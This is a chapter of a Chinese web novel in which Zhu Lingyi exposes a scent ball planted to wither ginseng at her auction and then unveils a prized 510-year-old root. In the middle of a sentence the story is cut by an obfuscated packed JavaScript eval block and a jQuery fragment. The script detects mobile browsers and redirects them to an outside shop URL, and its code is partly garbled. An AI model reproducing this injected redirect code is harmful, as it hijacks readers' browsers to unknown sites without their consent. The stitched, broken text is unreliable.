她沒猶豫,直接攔住交割完準備下去的人,圍著他轉了兩圈,看得那人直發毛。
“怎、怎麼了?有什麼問題嗎?”
朱令儀搖搖手指,道:“沒怎麼,就是打聽一下,貴客身上用的什麼熏香?”沒法子,樣本太少,隨身寶需時間要提取物質和分析,她隻好耽誤一下了。
“香?沒有熏香。”他還抬起衣袖聞了聞。
朱令儀又和他周全了幾句,在她都快不知道怎麼說下去的時候,隨身寶那終於發出了關鍵信息。
這種香氣散發出一種物質,一般三天左右就能讓這樣鮮活的植株快速地失去光澤和水分,說是禍害人的東西也不為過。
朱令儀冷笑,這京城還真是藏龍臥虎,她以為會來偷來搶呢,結果,人家打的是得不到就毀掉的主意。
“有意思,我剛才發現了點小問題。”
朱令儀對那位顧客道,“雖然不知道是您自己熏的還是從彆處沾染到的香,我要說的是,這種香氣能讓活性植株快速脫水,變蔫,如果一直處於這種氣味之中,相信不出三五日,你現在拿的山參就成了乾巴巴的了。”
“可彆到時候說我的參這樣那樣,我是一概不認的。還有。先頭有一位顧客也一樣,當時我不確定,他身上的氣味比較淡,沒這麼濃鬱。
現在我把話放這,不管是誰熏的香,目的都不是什麼好意,你們的參,得靠你們自己護好了。”
下麵頓時響起一片議論聲。
“嘶,還真有人下黑手啊。”替換都是小兒科了,直接給人家搞脫水,那有人小心翼翼地照看著脫水曬乾和被動脫水可是差彆大了去了。
搞不好整個品相都壞掉了。
有幾個人則若有所思地暗暗交換個眼神,會是他們想的那樣麼?那東西可不容易搞到。。。。。。
***
“接下來,咱們最關注的參王了,隻是,我
;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306529|130700||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#tent').append('
這裡不得不說,凡事身上沾了這種氣味的人,就很抱歉不能接觸參王。”
畢竟風險太大。
說著,朱令儀在人群中一一指點著,“你,你,你,還有你,你們這幾位都不能接觸參王,要麼換人,要麼想法子去掉熏香。我等兩刻鐘時間。”
包括競價到最後一支三百年份參的人,聽到朱令儀的指點都氣得想破口大罵,誰怎麼缺德,然而,最要緊的還是得想法子,不然把參給熏壞了就慘了。
人人都義憤填膺的,就不知是有人擅長表演還是怎麼,反正一時沒找到誰是源頭。
而這半個小時也是朱令儀給自己的時間,她必須在這段時間把源頭找出來,不然,參王怎麼露麵?
氣味這東西很難控製,萬一給搞一下,參王都得掉價。
朱令儀放開感知觀察在場的人群,隨身寶也迅速把香氣模擬出來,在整個屋子裡查找,實在是人多氣味混雜,一點香氣很容易被忽略掉。
終於,隨身寶發現了一個像是不小心掉落在某個座位底下的鏤空熏香球,這球裡有很小的幾枚香球正散發著一種特彆的香氣,其中之一正是朱令儀尋找的香氣來源。
這香薰球很常見,裡頭的香薰也比較常見的男子冷凝香,有鬆香的清冽和青草的溫和,隻是多了一枚特殊的小香球,香味有些果子熟透後的甜氣。
誰能想到會是這玩意呢?連隨身寶都沒察覺到,可見對方手段夠高的。
隨身寶:人類的心思太可怕了。
朱令儀:那是你見的還少。
。。。。。。
在場的人看著朱令儀拎起來的一枚街麵上很常見的鏤空熏香球,從中取出幾枚香球,把其中一個單獨拈了出來,掃視人群,道:“有這麼好的腦子不想著怎麼好好去賺錢,卻整天想著搞破壞,人渣!”
關鍵是沒有哪個人渣出來認領這枚香薰球,所以,朱令儀才氣得罵人。
要知道成就一樣事物不容易,但毀掉卻很容易,彆人隻是丟一枚香薰,她損失的可能就是參王!
不過,有幾個乾了壞事會出來主動認領的呢?
***
為防萬一,朱令儀臨時覺得把參王競價的屋子更換到四樓。
隻有有興趣參與參王競價的人能跟著上去,而且,每個不能帶任何熏香。
雖然有一部分人不高興,但畢竟那麼貴重的參王,怎麼小心都不過分。
參王係著紅繩靜靜地躺在托盤的大紅絨布上,像個熟睡的嬰孩一般,白胖胖的,下麵有兩個分支像兩條腿似得,連帶著許多細小的須根都好好保留著,還有頭上的植株也一同被保存了下來,雖然有些乾枯了,但依然能看到屬於它的葉片。
“這株參王確切來說有五百一十年,重量是九兩六錢七毫。”
常言道“七兩為參,八兩為寶,這株已經超過九兩,我就不多說了,大家都明白。”
說著,她又拿著專門稱藥材的小戥子把參王又稱了一遍給大家看,順便也讓有意向的十幾個人上來細觀。
參王怎麼看都像是睡著的小小嬰孩,好像下一刻就能坐起來朝你笑一般,凡事看到的人沒有不被迷住的。
“真是。。。太。。。太妙了!”一時都不知道用什麼詞來形容了。